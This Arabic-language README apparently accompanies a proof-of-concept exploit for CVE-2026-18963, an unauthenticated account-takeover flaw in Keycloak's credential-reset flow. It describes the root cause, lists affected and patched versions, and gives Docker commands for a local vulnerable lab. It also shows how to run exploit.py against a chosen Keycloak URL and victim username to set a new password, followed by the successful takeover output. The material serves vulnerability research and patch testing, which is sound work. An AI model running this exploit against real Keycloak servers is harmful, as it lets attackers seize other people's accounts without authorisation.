
إثبات مفهوم للاستغلال (Proof-of-concept) للثغرة CVE-2026-18963، يوضّح الاستيلاء على الحساب دون مصادقة عبر تجاوز مسار إعادة تعيين بيانات الاعتماد في تطبيقات الويب.
★ CVE-2026-18963 إثبات مفهوم لتجاوز تدفق إعادة تعيين بيانات الاعتماد في Keycloak ★
https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0
CVE-2026-18963 هي ثغرة حرجة تسمح بالاستيلاء على الحساب دون مصادقة في مكوّن
keycloak-servicesالخاص بـ Keycloak (CVSS 9.1). يسمح خلل في آلة الحالة للمصادقة الخاصة بإعادة تعيين بيانات الاعتماد لمهاجم بعيد بتجاوز خطوة التحقق من البريد الإلكتروني والوصول إلى نموذج تحديث كلمة المرور دون امتلاك رابط إعادة التعيين. من خلال استهداف اسم مستخدم معروف، يمكن للمهاجم تعيين كلمة مرور جديدة والسيطرة على حساب الضحية دون مصادقة أو تفاعل من المستخدم.
يخزّن التدفق المصاب حالة محدّد بيانات الاعتماد كملاحظة مصادقة على مستوى الجلسة بدلاً من ربطها بالتنفيذ الذي عرض المحدّد. وبالتالي فإن إعادة الدخول إلى تدفق إعادة التعيين قد تعيد استخدام حالة محدّد قديمة لتنفيذ آخر. في الإصدارات المتأثرة، يقبل مصادقة بريد إعادة التعيين أيضاً إجراءً دون التأكد من الوصول إليه عبر رمز إجراء بريد إلكتروني صالح. وبتسلسل هذه السلوكيات يتقدّم المهاجم مباشرة إلى UPDATE_PASSWORD.
| الفئة | الإصدار |
|---|---|
| مصاب | Keycloak 26.0.0 ≤ version < 26.4.15 |
| مصاب | Keycloak 26.5.0 ≤ version < 26.6.6 |
| مصاب | Keycloak 26.7.0 ≤ version < 26.7.2 |
| مُصحّح | 26.4.15, 26.6.6, 26.7.2 (فروع الإصدارات المعنية) |
يستخدم هذا المختبر Keycloak 26.7.1.
قم ببناء وتشغيل بيئة Keycloak 26.7.1 المصابة. تستورد الصورة نطاقاً اختبارياً مع تفعيل تدفق إعادة تعيين بيانات الاعتماد المصاب، وحساب victim مُهيّأ مسبقاً، وبوابة EQST مع صفحة علم محمية.
docker build -t cve-2026-18963 .
docker run --rm -d \
--name cve-2026-18963 \
-p 9105:9105 \
-e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
cve-2026-18963
انتظر حتى يبدأ Keycloak، ثم افتح البوابة:
http://127.0.0.1:9105
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Keycloak | 26.7.1 (مصاب) |
| النطاق | cve-lab |
| نسيت كلمة المرور | مفعّل |
| الحساب المستهدف | victim |
| عنوان URL الأساسي لـ Keycloak | http://127.0.0.1:9105/keycloak |
يقوم exploit.py المرفق بأتمتة التلاعب بحالة تدفق إعادة التعيين، ويطلب نموذج تحديث كلمة المرور دون استهلاك رمز إجراء بريد إلكتروني، ويغيّر كلمة مرور الضحية، ويتحقق من الاستيلاء عبر طلب رمز وصول ببيانات الاعتماد الجديدة.
ثبّت اعتمادية Python:
python3 -m pip install requests
شغّل الاستغلال مع عنوان URL الخاص بـ Keycloak واسم مستخدم الضحية وكلمة مرور جديدة:
# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
http://127.0.0.1:9105/keycloak \
victim \
'NewPassword1!'
تطبع عملية ناجحة:
[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'
افتح http://127.0.0.1:9105، وانقر على LOGIN، ثم صادق باسم victim وكلمة المرور الجديدة لتأكيد الاستيلاء على الحساب.